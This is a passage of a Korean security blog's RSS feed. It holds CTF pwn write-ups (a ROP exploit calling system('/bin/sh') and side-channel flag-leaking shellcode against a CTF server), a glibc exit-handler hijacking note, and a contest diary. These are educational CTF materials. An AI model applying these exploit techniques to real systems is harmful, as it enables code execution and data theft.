    p.sendlineafter(b'Number: ',str(0x100 * 8 * 4 + 0x100 * (8 + i)).encode())
    p.sendlineafter(b'Select: ',b'5')
    p.recvuntil(b'Level: ')
    leak = str(hex(int(p.recvline()[:-1])))[2:].encode() + leak
 
 canary = int(b'0x' + leak + b'0',16)
 print(hex(canary))

 leak = b''
 for i in range(8):
    p.sendlineafter(b'Select: ',b'12')
    p.sendlineafter(b'Number: ',str(0x100 * 8 * 4 + 0x100 * (8*3 + i)).encode())
    p.sendlineafter(b'Select: ',b'5')
    p.recvuntil(b'Level: ')
    leak = str(hex(int(p.recvline()[:-1])))[2:].encode() + leak
 libc = int(b'0x' +leak,16)
 print(hex(libc))
 
 p.sendlineafter(b'Select: ',b'11')
 p.sendlineafter(b'Select: ',b'4')
 
 libc_base = libc - 0x2a1ca
 system = libc_base + 0x58750
 rdi = libc_base + 0x000000000010f75b
 binsh = libc_base + 0x1cb42f
 payload = b'A'*8*5 + p64(canary) + p64(0)+ p64(rdi) + p64(binsh) + p64(rdi + 1)+ p64(system)
 p.sendlineafter(b'remarks: ',payload)
 
 p.interactive()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>CTF/Solved</category>
      <author>wyv3rn</author>
      <guid isPermaLink="true">https://wyv3rn.tistory.com/616</guid>
      <comments>https://wyv3rn.tistory.com/616#entry616comment</comments>
      <pubDate>Sun, 14 Sep 2025 20:58:37 +0900</pubDate>
    </item>
    <item>
      <title>__run_exit_handlers로 system(/bin/sh) 실행하기</title>
      <link>https://wyv3rn.tistory.com/615</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;서론&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;exit의 흐름을 통해 onegadget을 실행시키는 방법을 예전부터 쓰고 있었으나, system(/bin/sh) 또한 실행 가능하다는 것을 최근에 알게되어 조금 정리해둔다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;본론&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;source code&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대동소이하기에 가장 최신 버전을 보자.&lt;/p&gt;
&lt;pre id=&quot;code_1757830691175&quot; class=&quot;csharp&quot; data-ke-language=&quot;csharp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;__run_exit_handlers (int status, struct exit_function_list **listp,
		     bool run_list_atexit, bool run_dtors)
{
  /* The exit should never return, so there is no need to unlock it.  */
  __libc_lock_lock_recursive (__exit_lock);

  /* First, call the TLS destructors.  */
  if (run_dtors)
    call_function_static_weak (__call_tls_dtors);

  __libc_lock_lock (__exit_funcs_lock);

  /* We do it this way to handle recursive calls to exit () made by
     the functions registered with `atexit' and `on_exit'. We call
     everyone on the list and use the status value in the last
     exit (). */
  while (true)
    {
      struct exit_function_list *cur;

    restart:
      cur = *listp;

      if (cur == NULL)
	{
	  /* Exit processing complete.  We will not allow any more
	     atexit/on_exit registrations.  */
	  __exit_funcs_done = true;
	  break;
	}

      while (cur-&amp;gt;idx &amp;gt; 0)
	{
	  struct exit_function *const f = &amp;amp;cur-&amp;gt;fns[--cur-&amp;gt;idx];
	  const uint64_t new_exitfn_called = __new_exitfn_called;

	  switch (f-&amp;gt;flavor)
	    {
	      void (*atfct) (void);
	      void (*onfct) (int status, void *arg);
	      void (*cxafct) (void *arg, int status);
	      void *arg;

	    case ef_free:
	    case ef_us:
	      break;
	    case ef_on:
	      onfct = f-&amp;gt;func.on.fn;
	      arg = f-&amp;gt;func.on.arg;
	      PTR_DEMANGLE (onfct);

	      /* Unlock the list while we call a foreign function.  */
	      __libc_lock_unlock (__exit_funcs_lock);
	      onfct (status, arg);
	      __libc_lock_lock (__exit_funcs_lock);
	      break;
	    case ef_at:
	      atfct = f-&amp;gt;func.at;
	      PTR_DEMANGLE (atfct);

	      /* Unlock the list while we call a foreign function.  */
	      __libc_lock_unlock (__exit_funcs_lock);
	      atfct ();
	      __libc_lock_lock (__exit_funcs_lock);
	      break;
	    case ef_cxa:
	      /* To avoid dlclose/exit race calling cxafct twice (BZ 22180),
		 we must mark this function as ef_free.  */
	      f-&amp;gt;flavor = ef_free;
	      cxafct = f-&amp;gt;func.cxa.fn;
	      arg = f-&amp;gt;func.cxa.arg;
	      PTR_DEMANGLE (cxafct);

	      /* Unlock the list while we call a foreign function.  */
	      __libc_lock_unlock (__exit_funcs_lock);
	      cxafct (arg, status);
	      __libc_lock_lock (__exit_funcs_lock);
	      break;
	    }

	  if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
	    /* The last exit function, or another thread, has registered
	       more exit functions.  Start the loop over.  */
	    goto restart;
	}

      *listp = cur-&amp;gt;next;
      if (*listp != NULL)
	/* Don't free the last element in the chain, this is the statically
	   allocate element.  */
	free (cur);
    }

  __libc_lock_unlock (__exit_funcs_lock);

  if (run_list_atexit)
    call_function_static_weak (_IO_cleanup);

  _exit (status);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;코드 길이만 길었지, 크게 보면 인자에 따라 switch를 통해 특정 동작을 하는 것을 볼 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;exit_function_list&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 함수가 실행되는 인자 중&lt;/p&gt;
&lt;pre id=&quot;code_1757831302711&quot; class=&quot;csharp&quot; data-ke-language=&quot;csharp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;__run_exit_handlers (int status, struct exit_function_list **listp,
		     bool run_list_atexit, bool run_dtors)&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;가장 중요한 것은 exit_function_list **listp 이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;해당 값은 아래에 저장되어있고,&lt;/p&gt;
&lt;pre id=&quot;code_1757831368567&quot; class=&quot;csharp&quot; data-ke-language=&quot;csharp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;0x7ffff7fa3680 &amp;lt;__exit_funcs&amp;gt;:  0x00007ffff7fa4fc0&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대략 아래와 같은 모양이다.&lt;/p&gt;
&lt;pre id=&quot;code_1757832376415&quot; class=&quot;csharp&quot; data-ke-language=&quot;csharp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;0x7ffff7fa4fc0 &amp;lt;initial&amp;gt;:       0x0000000000000000            0x0000000000000000 &amp;lt;- idx
0x7ffff7fa4fd0 &amp;lt;initial+16&amp;gt;:    0x0000000000000000 &amp;lt;- flavor  0xa3dd6a6c915e4e62 &amp;lt;- xxfct
0x7ffff7fa4fe0 &amp;lt;initial+32&amp;gt;:    0x0000000000000000 &amp;lt;- fn      0x0000000000000000&lt;/code&gt;&lt;/pre&gt;
&lt;pre id=&quot;code_1757831487902&quot; class=&quot;csharp&quot; data-ke-language=&quot;csharp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;gef&amp;gt; p **&amp;amp;__exit_funcs
$3 = {
  next = 0x0,
  idx = 0x0,
  fns = {
    [0x0] = {
      flavor = 0x0,
      func = {
        at = 0xa3dd6a6c915e4e62,
        on = {
          fn = 0xa3dd6a6c915e4e62,
          arg = 0x0
        },
        cxa = {
          fn = 0xa3dd6a6c915e4e62,
          arg = 0x0,
          dso_handle = 0x0
        }
      }
    },
    [0x1] = {
      flavor = 0x0,
      func = {
        at = 0x0,
        on = {
          fn = 0x0,
          arg = 0x0
        },
        cxa = {
          fn = 0x0,
          arg = 0x0,
          dso_handle = 0x0
        }
      }
    } &amp;lt;repeats 31 times&amp;gt;
  }
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 주요하게 보아야하는 부분은, idx, at, on, cxa의 값들이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;while (cur-&amp;gt;idx &amp;gt; 0)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 idx가 0보다 커야 handler가 작동한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만일 0보다 작으면 while문이 실행되지 않아 at, on, cxa 등이 실행되지 않는다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;__run_exit_handlers가 실행될 때 인자의 값에 따라 다르지만, 결국은 아래와 같이 그냥 종료되는 것과 마찬가지가 된다.&lt;/p&gt;
&lt;pre id=&quot;code_1757831038890&quot; class=&quot;csharp&quot; data-ke-language=&quot;csharp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;__run_exit_handlers (int status, struct exit_function_list **listp,
		     bool run_list_atexit, bool run_dtors)
{
  _exit (status);
}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;switch (f-&amp;gt;flavor)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만일 idx가 1보다 크다면 flavor의 값에 따라 특정 작동을 한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여기서 flavor의 값은 아래와 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1757832597425&quot; class=&quot;csharp&quot; data-ke-language=&quot;csharp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;enum
{
  ef_free,	/* `ef_free' MUST be zero!  */
  ef_us,
  ef_on,
  ef_at,
  ef_cxa
};&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;만일 flavor가 0이나 1이면 아래와 같이 실행된다.&lt;/p&gt;
&lt;pre id=&quot;code_1757832694991&quot; class=&quot;csharp&quot; data-ke-language=&quot;csharp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;      while (cur-&amp;gt;idx &amp;gt; 0)
	{
	  struct exit_function *const f = &amp;amp;cur-&amp;gt;fns[--cur-&amp;gt;idx];
	  const uint64_t new_exitfn_called = __new_exitfn_called;

	  __libc_lock_unlock (__exit_funcs_lock);
	  switch (f-&amp;gt;flavor)
	    {
	      void (*atfct) (void);
	      void (*onfct) (int status, void *arg);
	      void (*cxafct) (void *arg, int status);

	    case ef_free:
	    case ef_us:
	      break;
	    }
	  __libc_lock_lock (__exit_funcs_lock);

	  if (__glibc_unlikely (new_exitfn_called != __new_exitfn_called))
	    goto restart;
	}&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실상 실행되는 것이 없다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2,3,4일때가 중요한데, 아래와 같다.&lt;/p&gt;
&lt;pre id=&quot;code_1757832743014&quot; class=&quot;csharp&quot; data-ke-language=&quot;csharp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;	    case ef_on:
	      onfct = f-&amp;gt;func.on.fn;
	      PTR_DEMANGLE (onfct);
	      onfct (status, f-&amp;gt;func.on.arg);
	      break;
	    case ef_at:
	      atfct = f-&amp;gt;func.at;
	      PTR_DEMANGLE (atfct);
	      atfct ();
	      break;
	    case ef_cxa:
	      f-&amp;gt;flavor = ef_free;
	      cxafct = f-&amp;gt;func.cxa.fn;
	      PTR_DEMANGLE (cxafct);
	      cxafct (f-&amp;gt;func.cxa.arg, status);
	      break;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;즉, 2 일때는 ef_on으로 status와 f-&amp;gt;func.on.arg를 인자로 demangle된 onfct 함수를 실행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;3일때는 인자 없이 atfct 함수를 실행하며,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;4일때는 f-&amp;gt;func.cxa.fn와 status를 인자로 cxafct 함수를 실행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;따라서&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;idx는 1 이상,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flavor 4,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;mangle 된 system 함수 주소를 xxfct에,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;/bin/sh 주소를 fn에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;으면 system(/bin/sh)를 실행할 수 있게 된다.&lt;/p&gt;</description>
      <category>Tips &amp;amp; theory</category>
      <author>wyv3rn</author>
      <guid isPermaLink="true">https://wyv3rn.tistory.com/615</guid>
      <comments>https://wyv3rn.tistory.com/615#entry615comment</comments>
      <pubDate>Sun, 14 Sep 2025 16:02:47 +0900</pubDate>
    </item>
    <item>
      <title>CCE 2025 예선 후기.</title>
      <link>https://wyv3rn.tistory.com/610</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;8월 16일 그러니까 어제 CCE 2025에 참가했고, 운 좋게 좋은 팀을 만나 9위로 본선행 티켓을 따냈다.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1036&quot; data-origin-height=&quot;828&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/cbCHJj/btsPWn4Ho7v/snnw0qyzqz32Q9xLMoKLq1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/cbCHJj/btsPWn4Ho7v/snnw0qyzqz32Q9xLMoKLq1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/cbCHJj/btsPWn4Ho7v/snnw0qyzqz32Q9xLMoKLq1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FcbCHJj%2FbtsPWn4Ho7v%2Fsnnw0qyzqz32Q9xLMoKLq1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1036&quot; height=&quot;828&quot; data-origin-width=&quot;1036&quot; data-origin-height=&quot;828&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팀원은 포너블인 나를 포함하여 암호학 1명, 리버싱 2명, 총 4명이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;사실 따지고보면 나만 포넙 원툴이었고 나머지 분들은 골고루 잘하시는 분들이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;대회 시간은 9시부터 18시까지 총 9시간 이었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;출제된 문제는 잘 기억은 안나지만 포너블이 5문제 정도, 리버싱이 5문제 정도, 웹이 2~3개정도?, AI 문제 하나, forensic 하나, 크립토 하나 정도였던 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단은 포넙이 나 혼자 뿐이었기에 쉬운 문제는 무조건 풀어야한다고 생각했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 CTF가 그렇듯, 시작하자마자 홈페이지 접속 이슈는 어쩔 수 없나보다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;CCE도 마찬가지로 접속 이슈가 있었지만 그리 오래가진 않았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 포넙 중 제일 쉬운 문제였던 book을 1시간이 채 지나기 전에 풀었다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그 다음으로 쉬운 문제였던 artisan은 페이로드 컨셉은 금방 잡았는데, 문제 환경에서의 조건을 찾는데 시간이 다소 소요됨 + 브포 문제여서 3시간이나 걸렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 myblog 또는 cpy 두 문제 중 하나를 풀려고 했는데, 솔버가 더 많았던 cpy를 선택했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 이게 좀 잘못된 선택이었.....&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1시부터 5시까지 거의 4시간을 cpy에만 집중했는데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;chat GPT 5와 함께 풀이에 거의 근접한 순간 무료 횟수 종료 ㅋㅋㅋㅋ&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 이런저런 시도를 해보다가 시간만 날렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;포기하고 myblog 문제로 돌아섰는데, 보자마자 date 쪽에 값을 많이 넣고 글을 작성하면 터진다는 것을 알아냈다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;하지만 이때가 5시였고... 롸업 작성 제출이 6시까지여서 롸업 정리하고 뭐하고 하다보니 집중이 안돼서 그냥 던졌다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;그냥 myblog 풀었으면 4등으로 마무리 했을텐데...&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;어차피 1등이나 15등이나 본선 진출이라는 점에서는 동일하지만, 그래도 아쉬운 것은 어쩔 수 없나보다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;보안과 1도 상관 없는 직업을 가졌기에&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;과연 살면서 한번쯤 메이저 CTF 본선을 가 볼 수 있을까하는 생각을 했는데,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예상보다 빠르게 가게 되어서 조금 얼떨떨하기도 하고 기쁘기도 하다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다만, 본선에서 내가 얼마나 잘 할 수 있을지,&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;팀원들에게 폐를 끼치는 것은 아닐지&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;에 대한 걱정이 더 큰 것 같다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;정 안될 것 같으면 팀원들에게 커피 / 과자 셔틀이라도 열심히 하고 와야겠다.&lt;/p&gt;</description>
      <category>Diary</category>
      <author>wyv3rn</author>
      <guid isPermaLink="true">https://wyv3rn.tistory.com/610</guid>
      <comments>https://wyv3rn.tistory.com/610#entry610comment</comments>
      <pubDate>Sun, 17 Aug 2025 19:32:48 +0900</pubDate>
    </item>
    <item>
      <title>CCE2025 - pwn - artisan</title>
      <link>https://wyv3rn.tistory.com/609</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. intro&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;418&quot; data-origin-height=&quot;91&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bjeLWj/btsPUGK0YqZ/3V7f9wQNxgNjshLJ08G641/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bjeLWj/btsPUGK0YqZ/3V7f9wQNxgNjshLJ08G641/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bjeLWj/btsPUGK0YqZ/3V7f9wQNxgNjshLJ08G641/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbjeLWj%2FbtsPUGK0YqZ%2F3V7f9wQNxgNjshLJ08G641%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;418&quot; height=&quot;91&quot; data-origin-width=&quot;418&quot; data-origin-height=&quot;91&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;2. code 및 분석&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.1.&amp;nbsp; code&lt;/h3&gt;
&lt;pre id=&quot;code_1660109598930&quot; class=&quot;csharp&quot; data-ke-language=&quot;csharp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;unistd.h&amp;gt;
#include &amp;lt;sys/mman.h&amp;gt;
#include &amp;lt;string.h&amp;gt;
#include &amp;lt;fcntl.h&amp;gt;
#include &amp;lt;seccomp.h&amp;gt;
#include &amp;lt;linux/seccomp.h&amp;gt;

#define LENGTH 128

volatile char flag_mem[0x50] = {0};

void sandbox(){
        scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL);
        if (ctx == NULL) {
                printf(&quot;seccomp error\n&quot;);
                exit(0);
        }

        seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(nanosleep), 0);

        if (seccomp_load(ctx) &amp;lt; 0){
                seccomp_release(ctx);
                printf(&quot;seccomp error\n&quot;);
                exit(0);
        }
}

char stub[] = &quot;\x48\x31\xc0\x48\x31\xdb\x48\x31\xc9\x48\x31\xd2\x48\x31\xf6\x48\x31\xff\x48\x31\xed\x4d\x31\xc0\x4d\x31\xc9\x4d\x31\xd2\x4d\x31\xdb\x4d\x31\xe4\x4d\x31\xed\x4d\x31\xf6\x4d\x31\xff&quot;;

int main(int argc, char* argv[]){

        setvbuf(stdout, 0, _IONBF, 0);
        setvbuf(stdin, 0, _IOLBF, 0);

    int fd = open(&quot;./flag&quot;, O_RDONLY);
    if (fd == -1) {
        perror(&quot;open&quot;);
        return 1;
    }
    read(fd, flag_mem, 0x50);
    close(fd);

        char* sh = (char*)mmap((void*)0x40400000, 0x1000, 7, MAP_ANONYMOUS | MAP_FIXED | MAP_PRIVATE, 0, 0);
        memset(sh, 0x90, 0x1000);
        memcpy(sh, stub, strlen(stub));

        int offset = sizeof(stub);
        printf(&quot;Enter your shellcode: &quot;);
        read(0, sh+offset, 0x900);

        alarm(10);
        chroot(&quot;/home/ctf&quot;);
        sandbox();
        ((void (*)(void))sh)();
        return 0;
}&lt;/code&gt;&lt;/pre&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2.2. 분석&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;flag를 전역 변수에 읽어들인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 mmap을 통해 새로운 영역을 할당하고, stub를 복사하여 넣어준다음 유저의 shellcode를 그 뒤에 붙여넣고 실행한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;3. 취약점 확인 및 공격 준비&lt;/h2&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.1. 취약점&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;?!&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3.2. 공격 준비&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;일단 source code만 주기 때문에 환경을 추측하기 어렵다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;컴파일된 환경마다 코드 offset 들이 다르기 때문에 이 점이 조금 더 귀찮음을 선사했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;큰 틀은&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;1. flag_mem의 주소 알아내기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;2. 1바이트씩 가져와 값을 비교하고 만일 같다면 무한루프에 빠지게 만들기&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;와 같이 실행하였다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;바이너리가 실행되고있는 환경에서는 쉘코드가 비정상적으로 종료되면 이에 대한 오류 메시지를 모두 친절하게 띄워줬기 때문에 조금 더 쉽게 확인이 가능했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;우선 flag_mem의 주소를 알아내야하는데, main -&amp;gt; call *sh 으로 진입 시 main 함수의 주소가 stack에 저장되기 때문에 이를 가져오고, 이를 0xfffffffffffff000과 and 연산하여 뒤를 날려버렸다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;memory 할당은 어차피 0x1000 단위로 되기 때문이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이후 and 연산된 값으로부터 flag_mem 주소까지의 offset을 확인하기 위해 0x1000, 0x2000, 0x3000 각각으로부터 1씩 더하며 cce 문자열이 나오는 부분을 찾았고, 0x3080에서 나오는 것을 확인했다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 다음부터는 시간이 해결해줌.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;모든 ascii 값과 비교하기에는 다소 무리가 있어서 {}, 문자, 숫자만 우선 비교하다가 처음 3글자가 Y0u이길래 띄워쓰기는 통상적으로 사용하는 _를 추가해줬고, 그 다음 글자가 안나오기에 숫자패드의 특수문자만 추가해서 뽑았다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;4. exploit&lt;/h2&gt;
&lt;pre id=&quot;code_1755424044748&quot; class=&quot;csharp&quot; data-ke-language=&quot;csharp&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;from pwn import *
from string import *

#context.log_level='debug'

letter = '{_}!@#$%^&amp;amp;*()-=+' + ascii_letters + digits
flag = 'cce2025{Y0u_@r3_5tR0ngeR_7H@n_5heIIcRaf7}'
offset = 0x3080 + len(flag)
while True:
    for i in range(len(letter)):
        #p = process('./a')
        p = remote('43.200.130.204',54321)

        context.arch='amd64'

        shell = '''
        test:
            pop rcx
            and rcx, 0xfffffffffffff000
            add rcx, {}
            mov rax, '{}'
            mov bl, [rcx]
            cmp rax, rbx
            je start
            mov rax, 0
            syscall
        start:
            mov rax, 1
            mov rbx, 1
            cmp rax, rbx
            je start
        '''.format(hex(offset),letter[i])

        payload = asm(shell)

        p.sendafter(b': ',payload)
        print('try ',hex(offset),letter[i])
        print('flag = ',flag)
        try:
            check = p.recv(1024,timeout = 4)
            print(check)
            if b'Bad' not in check:
                flag += letter[i]
                print(flag)
                p.close()
                offset = offset + 1
                break
            else:
                p.close()

        except:
            p.close()&lt;/code&gt;&lt;/pre&gt;</description>
      <category>CTF/Solved</category>
      <author>wyv3rn</author>
      <guid isPermaLink="true">https://wyv3rn.tistory.com/609</guid>
      <comments>https://wyv3rn.tistory.com/609#entry609comment</comments>
      <pubDate>Sun, 17 Aug 2025 18:56:28 +0900</pubDate>
    </item>
    <item>
      <title>CCE 2025 - pwn - book</title>
      <link>https://wyv3rn.tistory.com/608</link>
      <description>&lt;h2 data-ke-size=&quot;size26&quot;&gt;1. intro&lt;/h2&gt;
